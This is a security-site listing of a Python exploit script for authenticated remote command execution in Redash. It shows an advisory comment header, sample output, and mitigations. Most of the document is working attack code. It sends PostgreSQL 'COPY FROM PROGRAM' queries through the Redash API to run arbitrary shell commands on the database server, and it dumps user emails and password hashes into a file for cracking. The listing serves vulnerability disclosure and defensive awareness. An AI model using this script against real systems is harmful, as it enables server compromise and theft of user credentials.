Lucene search
K

📄 Redash Authenticated Remote Command Execution

🗓️ 10 Dec 2025 00:00:00Reported by Jeremy BrownType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 165 Views

Authenticated Redash users can execute system commands and read password hashes via default PostgreSQL access.

Code
#!/usr/bin/env python3
    # -*- coding: UTF-8 -*-
    # redash_rce_hash.py
    #
    # Redash Authenticated Remote Command Execution
    #
    # Jeremy Brown (jbrown3264/gmail), Dec 2025
    #
    # =Intro=
    #
    # Redash's default configuration uses PostgreSQL superuser credentials for data source
    # connections. When combined with Redash's intended SQL query execution capability,
    # this enables authenticated users to:
    #
    # 1. Execute arbitrary system commands on the database server via PostgreSQL's
    #    COPY FROM PROGRAM command
    # 2. Extract password hashes from Redash's internal users table via direct SQL queries
    #
    # The security issue comes from default configuration:
    # - Redash's default setup uses PostgreSQL superuser credentials for data sources
    # - This grants high privileges to user-submitted queries
    # - Combined with lack of database isolation, users can access Redash's auth tables
    #
    # The vulnerability requires:
    # - Authenticated user account on Redash
    # - Instance configuration with the default PostgreSQL data source (superuser by default)
    #
    # Repo and Version Tested
    # - https://github.com/getredash/redash
    # - redash/redash:25.8.0 (docker image)
    #
    # =Usage=
    #
    # redash_rce_hash.py <url> <cookie_file> [--cmd <command> | --dump]
    #
    # Example: redash_rce_hash.py http://localhost:5000 cookie.txt --cmd "id"
    # Example: redash_rce_hash.py http://localhost:5000 cookie.txt --dump
    #
    # Get cookie from command line (requires user:pass in creds.txt):
    # $ IFS=: read user pass < creds.txt; curl -sk -c cookie.txt -b cookie.txt -X POST \
    # http://localhost:5000/login \
    # -d "email=$user&password=$pass&csrf_token=$(curl -s -c cookie.txt http://localhost:5000/login \
    # | grep -oP '(?<=name=\"csrf_token\" value=\")[^\"]*')" >/dev/null 2>&1
    #
    # =Testing=
    #
    # $ docker ps | grep redash
    # redash/nginx:latest                     0.0.0.0:80->80/tcp, [::]:80->80/tcp           redash-nginx-1
    # redash/redash:25.8.0                    5000/tcp                                      redash-adhoc_worker-1
    # redash/redash:25.8.0                    5000/tcp                                      redash-scheduler-1
    # redash/redash:25.8.0                    5000/tcp                                      redash-scheduled_worker-1
    # redash/redash:25.8.0                    5000/tcp                                      redash-worker-1
    # redash/redash:25.8.0                    0.0.0.0:5000->5000/tcp, [::]:5000->5000/tcp   redash-server-1
    # pgautoupgrade/pgautoupgrade:17-alpine   5432/tcp                                      redash-postgres-1
    # redis:7-alpine                          6379/tcp                                      redash-redis-1
    #
    # $ ./redash_rce_hash.py http://localhost:5000 cookie.txt --cmd "ps"
    # [*] Executing command: ps
    #
    # PID   USER     TIME  COMMAND
    #     1 root      0:00 bash /usr/local/bin/docker-entrypoint.sh postgres
    #     9 postgres  0:00 postgres
    #    31 postgres  0:00 postgres: checkpointer
    #    32 postgres  0:00 postgres: background writer
    #    34 postgres  0:00 postgres: walwriter
    #    35 postgres  0:00 postgres: autovacuum launcher
    #    36 postgres  0:00 postgres: logical replication launcher
    #   101 postgres  0:00 postgres: postgres postgres 172.18.0.5(52788) idle
    #   .....
    #   324 postgres  0:00 postgres: postgres postgres 172.18.0.6(54688) COPY
    #   325 postgres  0:00 postgres: postgres postgres 172.18.0.4(41116) authentication
    #   326 postgres  0:00 ps
    #
    # =Mitigation=
    #
    # Maintainers were responsive and decided not to make code changes as they view
    # it as a configuration issue rather than product vulnerability, as more secure
    # database configuration (vs default) may prevent exploitation.
    #
    # This may be mitigated by:
    # - Using non-superuser database credentials for data sources
    # - Revoking access to sensitive columns (e.g. password_hash) via column-level permissions
    # - Isolating Redash's internal database from user-accessible data sources
    #
    
    import sys
    import time
    import hashlib
    import requests
    from http.cookiejar import MozillaCookieJar
    from urllib3.exceptions import InsecureRequestWarning
    
    requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
    
    def load_cookies(path):
        jar = MozillaCookieJar()
        jar.load(path, ignore_discard=True, ignore_expires=True)
        return {c.name: c.value for c in jar}
    
    def normalize_url(url):
        url = url.rstrip('/')
    
        if url.startswith('http://') or url.startswith('https://'):
            return url
    
        for protocol in ['https://', 'http://']:
            test_url = f"{protocol}{url}"
            try:
                resp = requests.head(test_url, verify=False, timeout=3)
                return test_url
            except:
                pass
    
        return f"http://{url}"
    
    def find_api_path(base_url, cookies):
        session = requests.Session()
        session.cookies.update(cookies)
    
        paths = [
            "/api/query_results",
            "/default/api/query_results",
            "/org/api/query_results",
        ]
    
        for path in paths:
            url = f"{base_url}{path}"
            try:
                resp = session.post(url, json={"query": "SELECT 1", "data_source_id": 1, "parameters": {}}, verify=False, timeout=5)
                if resp.status_code in [200, 400]:
                    return path
            except:
                pass
    
        return paths[0]
    
    def execute_rce(base_url, cookies, command):
        session = requests.Session()
        session.cookies.update(cookies)
    
        api_path = find_api_path(base_url, cookies)
        endpoint = f"{base_url}{api_path}"
    
        table = f"rce_{hashlib.md5(command.encode()).hexdigest()[:8]}"
    
        payload = {
            "query": f"CREATE UNLOGGED TABLE IF NOT EXISTS {table} AS SELECT '1' WHERE 1=0; COPY {table} FROM PROGRAM '{command}'; SELECT * FROM {table}",
            "data_source_id": 1,
            "parameters": {}
        }
    
        resp = session.post(endpoint, json=payload, verify=False, timeout=30)
    
        if resp.status_code != 200:
            raise RuntimeError(f"Query submission failed: HTTP {resp.status_code} - check credentials / session expiration")
    
        result = resp.json()
    
        # Handle synchronous response
        if 'query_result' in result:
            rows = result['query_result']['data']['rows']
            return [row.get('?column?', '') for row in rows if row.get('?column?')]
    
        # Handle asynchronous response (poll job)
        job_id = result.get('job', {}).get('id')
        if not job_id:
            raise RuntimeError(f"Failed to submit query: {result}")
    
        # Poll for completion
        deadline = time.time() + 60
        while time.time() < deadline:
            job_url = f"{base_url}/api/jobs/{job_id}"
            job_resp = session.get(job_url, verify=False, timeout=15)
    
            if job_resp.status_code != 200:
                raise RuntimeError(f"Failed to poll job: HTTP {job_resp.status_code}")
    
            job = job_resp.json().get('job', {})
    
            if job.get('status') == 3:  # Complete
                result_id = job.get('query_result_id')
                for res_path in [f"/api/query_results/{result_id}", f"/default/api/query_results/{result_id}"]:
                    try:
                        url = f"{base_url}{res_path}"
                        res = session.get(url, verify=False, timeout=30)
                        if res.status_code == 200:
                            rows = res.json()['query_result']['data']['rows']
                            return [row.get('?column?', '') for row in rows if row.get('?column?')]
                    except:
                        pass
                raise RuntimeError("Could not fetch query results")
    
            if job.get('status') == 4:  # Failed
                raise RuntimeError(f"Job failed: {job.get('error')}")
    
            time.sleep(0.5)
    
        raise TimeoutError("Job did not complete")
    
    def extract_password_hashes(base_url, cookies):
        session = requests.Session()
        session.cookies.update(cookies)
    
        api_path = find_api_path(base_url, cookies)
        endpoint = f"{base_url}{api_path}"
    
        # SQL injection payload to extract email and password hash
        payload = {
            "query": "SELECT email, password_hash FROM users",
            "data_source_id": 1,
            "parameters": {}
        }
    
        resp = session.post(endpoint, json=payload, verify=False, timeout=30)
    
        if resp.status_code != 200:
            raise RuntimeError(f"Query submission failed: HTTP {resp.status_code} - check credentials / session expiration")
    
        result = resp.json()
    
        # Handle synchronous response
        if 'query_result' in result:
            rows = result['query_result']['data']['rows']
            hash_list = []
            for row in rows:
                email = row.get('email') or ''
                password_hash = row.get('password_hash') or ''
                if password_hash and password_hash.startswith('$') and email:
                    hash_list.append((email, password_hash))
            return hash_list
    
        # Handle asynchronous response (poll job)
        job_id = result.get('job', {}).get('id')
        if not job_id:
            raise RuntimeError(f"Failed to submit query: {result}")
    
        # Poll for completion
        deadline = time.time() + 60
        while time.time() < deadline:
            job_url = f"{base_url}/api/jobs/{job_id}"
            job_resp = session.get(job_url, verify=False, timeout=15)
    
            if job_resp.status_code != 200:
                raise RuntimeError(f"Failed to poll job: HTTP {job_resp.status_code}")
    
            job = job_resp.json().get('job', {})
    
            if job.get('status') == 3:  # Complete
                result_id = job.get('query_result_id')
                for res_path in [f"/api/query_results/{result_id}", f"/default/api/query_results/{result_id}"]:
                    try:
                        url = f"{base_url}{res_path}"
                        res = session.get(url, verify=False, timeout=30)
                        if res.status_code == 200:
                            rows = res.json()['query_result']['data']['rows']
                            hash_list = []
                            for row in rows:
                                email = row.get('email') or ''
                                password_hash = row.get('password_hash') or ''
                                if password_hash and password_hash.startswith('$') and email:
                                    hash_list.append((email, password_hash))
                            return hash_list
                    except:
                        pass
                raise RuntimeError("Could not fetch query results")
    
            if job.get('status') == 4:  # Failed
                raise RuntimeError(f"Job failed: {job.get('error')}")
    
            time.sleep(0.5)
    
        raise TimeoutError("Job did not complete")
    
    def main():
        if len(sys.argv) < 3:
            print(f"Usage: {sys.argv[0]} <url> <cookie_file> [--cmd <command> | --dump]", file=sys.stderr)
            print(f"", file=sys.stderr)
            print(f"Examples:", file=sys.stderr)
            print(f"  {sys.argv[0]} http://localhost:5000 cookie.txt --cmd 'id'", file=sys.stderr)
            print(f"  {sys.argv[0]} http://localhost:5000 cookie.txt --dump", file=sys.stderr)
            sys.exit(1)
    
        url, cookie_file = sys.argv[1], sys.argv[2]
    
        # Determine mode (default: --dump)
        mode = "--dump"
        command = None
    
        if len(sys.argv) > 3:
            if sys.argv[3] == "--cmd":
                mode = "--cmd"
                if len(sys.argv) < 5:
                    print("Error: --cmd requires a command argument", file=sys.stderr)
                    sys.exit(1)
                command = sys.argv[4]
            elif sys.argv[3] == "--dump":
                mode = "--dump"
            else:
                print(f"Error: Unknown option {sys.argv[3]}", file=sys.stderr)
                sys.exit(1)
    
        try:
            url = normalize_url(url)
            cookies = load_cookies(cookie_file)
    
            if mode == "--cmd":
                print(f"[*] Executing command: {command}\n", file=sys.stderr)
                output = execute_rce(url, cookies, command)
                for line in output:
                    print(line)
            else:  # --dump
                print(f"[*] Extracting password hashes...", file=sys.stderr)
                hash_list = extract_password_hashes(url, cookies)
                print(f"[*] Found {len(hash_list)} password hashes\n", file=sys.stderr)
    
                if not hash_list:
                    print("No password hashes found", file=sys.stderr)
                    sys.exit(1)
    
                # Output format: email on one line, hash on next line
                # Also write just hashes to hashes.txt for hashcat
                with open('hashes.txt', 'w') as hash_file:
                    for email, password_hash in hash_list:
                        print(email)
                        print(password_hash + "\n")
                        hash_file.write(password_hash + '\n')
    
                print(f"[*] Hashes written to hashes.txt", file=sys.stderr)
    
        except Exception as e:
            print(f"Error: {e}", file=sys.stderr)
            sys.exit(1)
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Dec 2025 00:00Current
7.7High risk
Vulners AI Score7.7
165